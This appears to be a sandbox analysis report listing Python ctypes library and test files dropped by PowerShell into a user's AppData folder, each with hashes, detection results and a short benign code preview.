              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):18551
              Entropy (8bit):4.911777403573548
              Encrypted:false
              SSDEEP:
              MD5:4011BD449ADC4F81A3C2471D506F013D
              SHA1:917020BD87DB0A002CD9FE3A018BCF235B7F4748
              SHA-256:554DCFD54E9D080FB9157BED5323C74F2709982B1E5B64896B85164A0B983F57
              SHA-512:B04272D4BB930A11C80BB78992DFB7D7B0A9DABF665179FD56EE9E168116B3D999EC18C513626BDF23F23DCC5A581A4499FB67A43D6823D911FBF4B78AC854BB
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""create and manipulate C data types in Python"""....import os as _os, sys as _sys..import types as _types....__version__ = "1.1.0"....from _ctypes import Union, Structure, Array..from _ctypes import _Pointer..from _ctypes import CFuncPtr as _CFuncPtr..from _ctypes import __version__ as _ctypes_version..from _ctypes import RTLD_LOCAL, RTLD_GLOBAL..from _ctypes import ArgumentError....from struct import calcsize as _calcsize....if __version__ != _ctypes_version:.. raise Exception("Version number mismatch", __version__, _ctypes_version)....if _os.name == "nt":.. from _ctypes import FormatError....DEFAULT_MODE = RTLD_LOCAL..if _os.name == "posix" and _sys.platform == "darwin":.. # On OS X 10.3, we use RTLD_GLOBAL as default mode.. # because RTLD_LOCAL does not work at least on some.. # libraries. OS X 10.3 is Darwin 7, so we check for.. # that..... if int(_os.uname().release.split('.')[0]) < 8:.. DEFAULT_MODE = RTLD_GLOBAL....from _ctypes import FUNCFLAG_CDEC

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\_aix.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12906
              Entropy (8bit):4.709051951016039
              Encrypted:false
              SSDEEP:
              MD5:0BF271057C0AE3E6EEA6AE43DCDF8B78
              SHA1:556079CF59F04455C5FF64EAD5E0997A3E950E50
              SHA-256:8DCEFABF8101D7ED0A90AD3325AC10BED792580A0FCE71938A4B3106B8FA3FBE
              SHA-512:708E13CE7C9FBF71518F98386558FFCC9862CA37A36637E4CFD9BB4BB492CEA052F9D75457A4366EF6359D8E22BB2265D3AD0BCA648204DB8748D9184FA9174A
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..Lib/ctypes.util.find_library() support for AIX..Similar approach as done for Darwin support by using separate files..but unlike Darwin - no extension such as ctypes.macholib.*....dlopen() is an interface to AIX initAndLoad() - primary documentation at:..https://www.ibm.com/support/knowledgecenter/en/ssw_aix_61/com.ibm.aix.basetrf1/dlopen.htm..https://www.ibm.com/support/knowledgecenter/en/ssw_aix_61/com.ibm.aix.basetrf1/load.htm....AIX supports two styles for dlopen(): svr4 (System V Release 4) which is common on posix..platforms, but also a BSD style - aka SVR3.....From AIX 5.3 Difference Addendum (December 2004)..2.9 SVR4 linking affinity..Nowadays, there are two major object file formats used by the operating systems:..XCOFF: The COFF enhanced by IBM and others. The original COFF (Common..Object File Format) was the base of SVR3 and BSD 4.2 systems...ELF: Executable and Linking Format that was developed by AT&T and is a..base for SVR4 UNIX.....While the shared library content

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\_endian.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2061
              Entropy (8bit):4.642554806419105
              Encrypted:false
              SSDEEP:
              MD5:017E36585911B8E46B02B637521E5B5C
              SHA1:73363C9FF4BDFB489732376832B1F450645E21C7
              SHA-256:48ACC287ECDEB183631CABF97DF977AF3F05E081FCE79A53C35B6078561F7C50
              SHA-512:7E4361B80483CD32E88A6C07A1F4310AA4AFF7857045D0879A6CB25C56F7E4C6DE62017F7EAC40B12EA67D94A2EF0FCDCAC20C14EB2B22BC3A298BF35E5AEEC1
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import sys..from ctypes import *...._array_type = type(Array)....def _other_endian(typ):.. """Return the type with the 'other' byte order. Simple types like.. c_int and so on already have __ctype_be__ and __ctype_le__.. attributes which contain the types, for more complicated types.. arrays and structures are supported... """.. # check _OTHER_ENDIAN attribute (present if typ is primitive type).. if hasattr(typ, _OTHER_ENDIAN):.. return getattr(typ, _OTHER_ENDIAN).. # if typ is array.. if isinstance(typ, _array_type):.. return _other_endian(typ._type_) * typ._length_.. # if typ is structure.. if issubclass(typ, Structure):.. return typ.. raise TypeError("This type does not support other endian: %s" % typ)....class _swapped_meta(type(Structure)):.. def __setattr__(self, attrname, value):.. if attrname == "_fields_":.. fields = [].. for desc in value:.. name = desc[0]..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\README.ctypes

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):302
              Entropy (8bit):4.852668847464629
              Encrypted:false
              SSDEEP:
              MD5:7AD62828A8A0FCA041912A20B451904E
              SHA1:A90A30E3BC7CCC4800DB1A31DC3CDE3B7C4A86FD
              SHA-256:99F3754DEC345ED71E2BCB337E3CDC58B1A4C02D290D870DC20CCDD1FF543AE1
              SHA-512:0E111B5D5282ECE51BA41980D4DE56A38FF7A826173A9D883925968EE71BD664C74436FF319CF4AEF482972BC3689A75AADDE2359C2EEAA91D32B9DA534FCAAD
              Malicious:false
              Reputation:unknown
              Preview:Files in this directory come from Bob Ippolito's py2app.....License: Any components of the py2app suite may be distributed under..the MIT or PSF open source licenses.....This is version 1.0, SVN revision 789, from 2006/01/25...The main repository is http://svn.red-bean.com/bob/macholib/trunk/macholib/

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):163
              Entropy (8bit):4.7583014539285395
              Encrypted:false
              SSDEEP:
              MD5:B4E0F252AC2C050A15FAE8D8D5153924
              SHA1:B66E8FF57523BDC8E3C1947D84E137B54CEF0E69
              SHA-256:AD449177F69D3150373892859AFF90A1882982E9ABA313B919711B7F38370DEF
              SHA-512:B627C5F8A3E16201F4E223AC30A69BA27D1778B9D28DC6B4CFF900EF8123262FAF4E250796E30BF7CA1CA997AD70F15A59B940E19A4DB675DA3892F2C1FB4BC8
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..Enough Mach-O to make your head spin.....See the relevant header files in /usr/include/mach-o....And also Apple's documentation..."""....__version__ = '1.0'..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\dyld.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5456
              Entropy (8bit):4.9203067310922455
              Encrypted:false
              SSDEEP:
              MD5:57341ED3630EE8675E3F70C89F977280
              SHA1:A63BDDE3913B5076F96C5C6216955BEB07BFB18F
              SHA-256:5DAD086AF985C3578C5F1A0C2E8D85BBFC3073624697CDB8E34C46CA9496B161
              SHA-512:D1E1A783FA2EA305622A28AB822377B5E4ADFF1894547DC5CBA1D946F6E43E506179C4A49C0C4CCB335220C73F9223F3E33556885D5CABD5FA20D338E3C761BE
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..dyld emulation.."""....import os..from ctypes.macholib.framework import framework_info..from ctypes.macholib.dylib import dylib_info..from itertools import *..try:.. from _ctypes import _dyld_shared_cache_contains_path..except ImportError:.. def _dyld_shared_cache_contains_path(*args):.. raise NotImplementedError....__all__ = [.. 'dyld_find', 'framework_find',.. 'framework_info', 'dylib_info',..]....# These are the defaults as per man dyld(1)..#..DEFAULT_FRAMEWORK_FALLBACK = [.. os.path.expanduser("~/Library/Frameworks"),.. "/Library/Frameworks",.. "/Network/Library/Frameworks",.. "/System/Library/Frameworks",..]....DEFAULT_LIBRARY_FALLBACK = [.. os.path.expanduser("~/lib"),.. "/usr/local/lib",.. "/lib",.. "/usr/lib",..]....def dyld_env(env, var):.. if env is None:.. env = os.environ.. rval = env.get(var).. if rval is None:.. return [].. return rval.split(':')....def dyld_image_suffix(env=None):.. if env is No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\dylib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1891
              Entropy (8bit):4.849862491793074
              Encrypted:false
              SSDEEP:
              MD5:CEF944CCD77C054FB37749652A30E9F0
              SHA1:44FCAC974EDCE984915A60305CE0EF2D34D5B1AE
              SHA-256:144D1FCC7C611A8B50CD48AFBC288DF896E47FD1A1A6A10473811A4DDFF03ED0
              SHA-512:A3BA1F4BA4EF470138C086BAFDBB382E0ADB31CF3C411C5A552A78ECCD34407110A5676F456990E15AD665140A3BAF7034D750452904A263188611BBA2349CA9
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..Generic dylib path manipulation.."""....import re....__all__ = ['dylib_info']....DYLIB_RE = re.compile(r"""(?x)..(?P<location>^.*)(?:^|/)..(?P<name>.. (?P<shortname>\w+?).. (?:\.(?P<version>[^._]+))?.. (?:_(?P<suffix>[^._]+))?.. \.dylib$..)..""")....def dylib_info(filename):.. """.. A dylib name can take one of the following four forms:.. Location/Name.SomeVersion_Suffix.dylib.. Location/Name.SomeVersion.dylib.. Location/Name_Suffix.dylib.. Location/Name.dylib.... returns None if not found or a mapping equivalent to:.. dict(.. location='Location',.. name='Name.SomeVersion_Suffix.dylib',.. shortname='Name',.. version='SomeVersion',.. suffix='Suffix',.. ).... Note that SomeVersion and Suffix are optional and may be None.. if not present... """.. is_dylib = DYLIB_RE.match(filename).. if not is_dylib:.. return None.. return is_dylib.groupdict()

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\fetch_macholib

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:POSIX shell script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):86
              Entropy (8bit):4.592685213899164
              Encrypted:false
              SSDEEP:
              MD5:03FC2CB5CFDE6E1C4A2699CD2193133D
              SHA1:F7FA6A9D1369B55F332E7E21AFE647C2DA05F81B
              SHA-256:7B9EB3A8AF1D12DA22604845995982CA99992876A825F3765E053DDB592620AB
              SHA-512:3CB6955D49468F961896DEDFA7AD51FA608D3E9BA5B88946410DD106827040C34F65DEB0DEBBAA6255E11F1380E11FE08310C4688F9845AFA0141178F848248C
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:#!/bin/sh..svn export --force http://svn.red-bean.com/bob/macholib/trunk/macholib/ ...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\fetch_macholib.bat

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):75
              Entropy (8bit):4.514880857909424
              Encrypted:false
              SSDEEP:
              MD5:B88DFC5590F1D09D550605F3AFCAC0D7
              SHA1:6724D16CF05434F9B77179D3A340A800EB1AF0DD
              SHA-256:7497FBDBB98AFCA4AC455E3A057C59BCDEBAF1280E25C94741DC301F05CB53E5
              SHA-512:B154B6C65DD7407D412BBC1BB91D73EE6CBEB94AFE21BF46531B82110095F4F58A80B9A6975FF5FE6902116A313FF22FA50BE33429A643D7C35287C0E0BB2BB1
              Malicious:false
              Reputation:unknown
              Preview:svn export --force http://svn.red-bean.com/bob/macholib/trunk/macholib/ ...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\framework.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2266
              Entropy (8bit):4.8758008419339305
              Encrypted:false
              SSDEEP:
              MD5:0FBD9BB28049B7EF685F3E27DEBA9B7F
              SHA1:46A6DA7FF03A4574EB15BAFC154FCB4FAB8CC5E0
              SHA-256:AF9721872CB633DD93195C40D4404FDFDF1F1B293DFD0956015A22378033A5A8
              SHA-512:4A8ACCAE43D9A621A30BE78D4C2D3A2697C2EB7528F72B8DDC74D24D5FBED747C49AD129FA33C4EA218C8849DDEFEDE2CF967C9855C4047E1E27E457A7DC68B5
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..Generic framework path manipulation.."""....import re....__all__ = ['framework_info']....STRICT_FRAMEWORK_RE = re.compile(r"""(?x)..(?P<location>^.*)(?:^|/)..(?P<name>.. (?P<shortname>\w+).framework/.. (?:Versions/(?P<version>[^/]+)/)?.. (?P=shortname).. (?:_(?P<suffix>[^_]+))?..)$..""")....def framework_info(filename):.. """.. A framework name can take one of the following four forms:.. Location/Name.framework/Versions/SomeVersion/Name_Suffix.. Location/Name.framework/Versions/SomeVersion/Name.. Location/Name.framework/Name_Suffix.. Location/Name.framework/Name.... returns None if not found, or a mapping equivalent to:.. dict(.. location='Location',.. name='Name.framework/Versions/SomeVersion/Name_Suffix',.. shortname='Name',.. version='SomeVersion',.. suffix='Suffix',.. ).... Note that SomeVersion and Suffix are optional and may be None.. if not present..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):461
              Entropy (8bit):4.546124893741369
              Encrypted:false
              SSDEEP:
              MD5:82611F2C799ACE4BAD58A6E89CE5B0D9
              SHA1:296591D4A8C033DAC5EF3FAB0F475884C7174F85
              SHA-256:9CC3DA0531E291012C8265313E60C63A5E4698FAF1551DC1D1F73953E4F70699
              SHA-512:09E5106F04CA697ADE0D646AFD69A4FFA6B6762EF1105D4F8D060ADA4BCABF2F8665F4B414AFED8690E223487C30C139AA4A4BF6C841DEA568B808A6C221B8F3
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import os..import unittest..from test import support..from test.support import import_helper......# skip tests if _ctypes was not built..ctypes = import_helper.import_module('ctypes')..ctypes_symbols = dir(ctypes)....def need_symbol(name):.. return unittest.skipUnless(name in ctypes_symbols,.. '{!r} is required'.format(name))....def load_tests(*args):.. return support.load_package_tests(os.path.dirname(__file__), *args)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\__main__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):72
              Entropy (8bit):4.1268772959489075
              Encrypted:false
              SSDEEP:
              MD5:5257F93F9DB3817B3834209486F556E7
              SHA1:BF5B021DFA64416EB28154BE5E91CAEFB764303A
              SHA-256:DDE5CFCC88B23F92A41180A582C18CFD8CE2AFADD12B0F6780630F5EE699A6F1
              SHA-512:D2E43B2319E562ED5E95EB627C7912469B844714EB553B0262205C774A4AC3538AB4B1C2CB34C2402A3584D9BB138805A0138B8AC151AA8CE79F96D8A733038A
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from ctypes.test import load_tests..import unittest....unittest.main()..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_anon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2613
              Entropy (8bit):4.133177272037021
              Encrypted:false
              SSDEEP:
              MD5:0386EA58C0BDBE99EFDC92A7D4B0496A
              SHA1:1BC6866200E63EE83B9E483ED822D37914E439CD
              SHA-256:3EA0C4294653BAAE3AF691C979123E7DA16E5F946D34B5EE9808E7BF7406B06C
              SHA-512:889504A51B2584F68F9393EB8072BE0FACB5C800356CA70106C4E76D5A6F0291226BA408BD74ED6AB14C76DFADB3CF85E37D651710AB6B376F1A47145D301BA2
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import unittest..import test.support..from ctypes import *....class AnonTest(unittest.TestCase):.... def test_anon(self):.. class ANON(Union):.. _fields_ = [("a", c_int),.. ("b", c_int)].... class Y(Structure):.. _fields_ = [("x", c_int),.. ("_", ANON),.. ("y", c_int)].. _anonymous_ = ["_"].... self.assertEqual(Y.a.offset, sizeof(c_int)).. self.assertEqual(Y.b.offset, sizeof(c_int)).... self.assertEqual(ANON.a.offset, 0).. self.assertEqual(ANON.b.offset, 0).... def test_anon_nonseq(self):.. # TypeError: _anonymous_ must be a sequence.. self.assertRaises(TypeError,.. lambda: type(Structure)("Name",.. (Structure,),.. {"_fields_": [], "_anonymous_": 42})).... def test_anon_nonmember(self):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_array_in_pointer.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1802
              Entropy (8bit):4.655095624975382
              Encrypted:false
              SSDEEP:
              MD5:7972CD74387DCFB9143CF40360601C54
              SHA1:B622488E6C4909D3E701C3D8440A93440D4322A7
              SHA-256:E819FE83514B6A585D6B999901AE949A6C9D4EBA876D92AEB8F1AA2E71D94067
              SHA-512:70F81816BF8B3DF2C47D40ADCC3CEEDFA9C1E5B96559CEADC0816D697E8B9FBA0D8F25EB9BC5DD7E2D67E284E32DF331CE415F4EE34248264664E92062BCF06D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import unittest..from ctypes import *..from binascii import hexlify..import re....def dump(obj):.. # helper function to dump memory contents in hex, with a hyphen.. # between the bytes... h = hexlify(memoryview(obj)).decode().. return re.sub(r"(..)", r"\1-", h)[:-1]......class Value(Structure):.. _fields_ = [("val", c_byte)]....class Container(Structure):.. _fields_ = [("pvalues", POINTER(Value))]....class Test(unittest.TestCase):.. def test(self):.. # create an array of 4 values.. val_array = (Value * 4)().... # create a container, which holds a pointer to the pvalues array... c = Container().. c.pvalues = val_array.... # memory contains 4 NUL bytes now, that's correct.. self.assertEqual("00-00-00-00", dump(val_array)).... # set the values of the array through the pointer:.. for i in range(4):.. c.pvalues[i].val = i + 1.... values = [c.pvalues[i].val for i in range(4)].... # Th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_arrays.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7743
              Entropy (8bit):4.563084758602701
              Encrypted:false
              SSDEEP:
              MD5:BDB5B5B9FB0E9E0D2E1B305094DA1FA2
              SHA1:E69920FCB70B1519A21580E75231482D208BE2EF
              SHA-256:5673E5CF445FF496D4D02F93C3D5C129D2E8CEB62642C26A186C79CB6BFEB221
              SHA-512:6D2B9C47184B74F7BDC2067F6D59BC62364FC6346568C09457FF656D7022AF4C84EFF48489805A05677B7E9B6A50327D259A8807E993851881697B753770AD90
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import unittest..from test.support import bigmemtest, _2G..import sys..from ctypes import *....from ctypes.test import need_symbol....formats = "bBhHiIlLqQfd"....formats = c_byte, c_ubyte, c_short, c_ushort, c_int, c_uint, \.. c_long, c_ulonglong, c_float, c_double, c_longdouble....class ArrayTestCase(unittest.TestCase):.. def test_simple(self):.. # create classes holding simple numeric types, and check.. # various properties..... init = list(range(15, 25)).... for fmt in formats:.. alen = len(init).. int_array = ARRAY(fmt, alen).... ia = int_array(*init).. # length of instance ok?.. self.assertEqual(len(ia), alen).... # slot values ok?.. values = [ia[i] for i in range(alen)].. self.assertEqual(values, init).... # out-of-bounds accesses should be caught.. with self.assertRaises(IndexError): ia[alen].. with self.assertRaises(Ind

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_as_parameter.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7149
              Entropy (8bit):4.801824751400148
              Encrypted:false
              SSDEEP:
              MD5:E8AE379E7175932C155F30F2780DD733
              SHA1:C6634A41FBC500864B7900040DFED535BFB090EB
              SHA-256:8225672DF52A662CB66C1B59A8328068C378017031A480689BDDCBD4D964244D
              SHA-512:49AC143F44219741379D608424042A94C9D9094CEA78F64D623B5DFCE3A27EB6B6118694F8200C41CE245491019DDAA44109CDF90AE0B38AD01B4B55809A282C
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:import unittest..from ctypes import *..from ctypes.test import need_symbol..import _ctypes_test....dll = CDLL(_ctypes_test.__file__)....try:.. CALLBACK_FUNCTYPE = WINFUNCTYPE..except NameError:.. # fake to enable this test on Linux.. CALLBACK_FUNCTYPE = CFUNCTYPE....class POINT(Structure):.. _fields_ = [("x", c_int), ("y", c_int)]....class BasicWrapTestCase(unittest.TestCase):.. def wrap(self, param):.. return param.... @need_symbol('c_wchar').. def test_wchar_parm(self):.. f = dll._testfunc_i_bhilfd.. f.argtypes = [c_byte, c_wchar, c_int, c_long, c_float, c_double].. result = f(self.wrap(1), self.wrap("x"), self.wrap(3), self.wrap(4), self.wrap(5.0), self.wrap(6.0)).. self.assertEqual(result, 139).. self.assertIs(type(result), int).... def test_pointers(self):.. f = dll._testfunc_p_p.. f.restype = POINTER(c_int).. f.argtypes = [POINTER(c_int)].... # This only works if the value c_int(42) pass

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_bitfields.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10652
              Entropy (8bit):4.486258559034558
              Encrypted:false
              SSDEEP:
              MD5:3D570B4C809341BCC9E10C45AEA8101A
              SHA1:23A102B4122FF39D6E99D3C451F2A92557CD1B48
              SHA-256:5FDB2670522B40F7EA52D1E1FEC71AC699DB65DE7044C374E2AB1D5E62DF51CC
              SHA-512:C0134C6D0CCE669CDF0E14B458F5B3D7384A2CA1E4FE695A2771416AE58B025D992E39B151A3F40C8ED238EB27E5457CEAE7920CFCE04312ACDE05E44318BE69
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from ctypes import *..from ctypes.test import need_symbol..from test import support..import unittest..import os....import _ctypes_test....class BITS(Structure):.. _fields_ = [("A", c_int, 1),.. ("B", c_int, 2),.. ("C", c_int, 3),.. ("D", c_int, 4),.. ("E", c_int, 5),.. ("F", c_int, 6),.. ("G", c_int, 7),.. ("H", c_int, 8),.. ("I", c_int, 9),.... ("M", c_short, 1),.. ("N", c_short, 2),.. ("O", c_short, 3),.. ("P", c_short, 4),.. ("Q", c_short, 5),.. ("R", c_short, 6),.. ("S", c_short, 7)]....func = CDLL(_ctypes_test.__file__).unpack_bitfields..func.argtypes = POINTER(BITS), c_char....##for n in "ABCDEFGHIMNOPQRS":..## print n, hex(getattr(BITS, n).size), getattr(BITS, n).offset....class C_Test(unittest.TestCase):.... def test_ints(self):.. for i in r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_buffers.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2684
              Entropy (8bit):4.726464719300847
              Encrypted:false
              SSDEEP:
              MD5:8E090D286F89A4227E0C674019C4420C
              SHA1:B47592B803064AD30926B18EF1202DFC9F581279
              SHA-256:1418BD67F4644C62B171EBC69E3C9C49A59955024303F7EA82C4A53BAFD90AA9
              SHA-512:8643D9E7D5AB27063628B14D3826CF2FC89AAA12472FF6E2D7BCD2455FA87B8F8DB0E7B54C55B62F07955BA52046D0E1460FD24E7DA7BB5519319347E6D6EC10
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from ctypes import *..from ctypes.test import need_symbol..import unittest....class StringBufferTestCase(unittest.TestCase):.... def test_buffer(self):.. b = create_string_buffer(32).. self.assertEqual(len(b), 32).. self.assertEqual(sizeof(b), 32 * sizeof(c_char)).. self.assertIs(type(b[0]), bytes).... b = create_string_buffer(b"abc").. self.assertEqual(len(b), 4) # trailing nul char.. self.assertEqual(sizeof(b), 4 * sizeof(c_char)).. self.assertIs(type(b[0]), bytes).. self.assertEqual(b[0], b"a").. self.assertEqual(b[:], b"abc\0").. self.assertEqual(b[::], b"abc\0").. self.assertEqual(b[::-1], b"\0cba").. self.assertEqual(b[::2], b"ac").. self.assertEqual(b[::5], b"a").... self.assertRaises(TypeError, create_string_buffer, "abc").... def test_buffer_interface(self):.. self.assertEqual(len(bytearray(create_string_buffer(0))), 0).. self.assertEqual(len(bytearray(c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_bytes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2053
              Entropy (8bit):4.57704821148396
              Encrypted:false
              SSDEEP:
              MD5:2A38D98F71B4A58FC9B35908E4A99C00
              SHA1:A914FBA375BCB038F93E61A7E34FA688F751D90E
              SHA-256:27834A2AF2ABA22100F23859133B8F831CF1B2F18CFBC93AA9362A55441EB7B7
              SHA-512:EAC769E82BE7303245C75A190B75D56A8C14546F56B4D45880A5B5840D1F3DCD441C5FE1639EDE9C05B354DAE33D3780DBE890A299A0EC06735AFC511FB7A137
              Malicious:false
              Reputation:unknown
              Preview:"""Test where byte objects are accepted"""..import unittest..import sys..from ctypes import *....class BytesTest(unittest.TestCase):.. def test_c_char(self):.. x = c_char(b"x").. self.assertRaises(TypeError, c_char, "x").. x.value = b"y".. with self.assertRaises(TypeError):.. x.value = "y".. c_char.from_param(b"x").. self.assertRaises(TypeError, c_char.from_param, "x").. self.assertIn('xbd', repr(c_char.from_param(b"\xbd"))).. (c_char * 3)(b"a", b"b", b"c").. self.assertRaises(TypeError, c_char * 3, "a", "b", "c").... def test_c_wchar(self):.. x = c_wchar("x").. self.assertRaises(TypeError, c_wchar, b"x").. x.value = "y".. with self.assertRaises(TypeError):.. x.value = b"y".. c_wchar.from_param("x").. self.assertRaises(TypeError, c_wchar.from_param, b"x").. (c_wchar * 3)("a", "b", "c").. self.assertRaises(TypeError, c_wchar * 3, b"a", b"b",

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_byteswap.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11726
              Entropy (8bit):4.645924708918119
              Encrypted:false
              SSDEEP:
              MD5:0EE8372AACEF4A068D4E54D05D853077
              SHA1:83FC5B36A0695B5047B22A1BCDD3C621C4424B3D
              SHA-256:B08BAE08D658E415778544E079DE8C3B9C5BE1F0752B50D9A8E41EF0C72167B4
              SHA-512:DCA212F4878E82A7823E416C86F97B91BDAB577C48A0AC89F58FE2EF68483B731F56900E45953FBEEB94249254131686A8A1EA22549453F43BC2AEDB40B752C5
              Malicious:false
              Reputation:unknown
              Preview:import sys, unittest, struct, math, ctypes..from binascii import hexlify....from ctypes import *....def bin(s):.. return hexlify(memoryview(s)).decode().upper()....# Each *simple* type that supports different byte orders has an..# __ctype_be__ attribute that specifies the same type in BIG ENDIAN..# byte order, and a __ctype_le__ attribute that is the same type in..# LITTLE ENDIAN byte order...#..# For Structures and Unions, these types are created on demand.....class Test(unittest.TestCase):.. @unittest.skip('test disabled').. def test_X(self):.. print(sys.byteorder, file=sys.stderr).. for i in range(32):.. bits = BITS().. setattr(bits, "i%s" % i, 1).. dump(bits).... def test_slots(self):.. class BigPoint(BigEndianStructure):.. __slots__ = ().. _fields_ = [("x", c_int), ("y", c_int)].... class LowPoint(LittleEndianStructure):.. __slots__ = ().. _fields_ = [("x", c_int),

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_callbacks.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10898
              Entropy (8bit):4.729984414466043
              Encrypted:false
              SSDEEP:
              MD5:C8E1C51E8AB7F35EC5EF1C2B60086242
              SHA1:2F930DC43041F4161C050922022D510DD29D30F6
              SHA-256:33B1B43705113FF4D5D1E85F9A835FF3E44D39A7A27B3740D44406D414C164D7
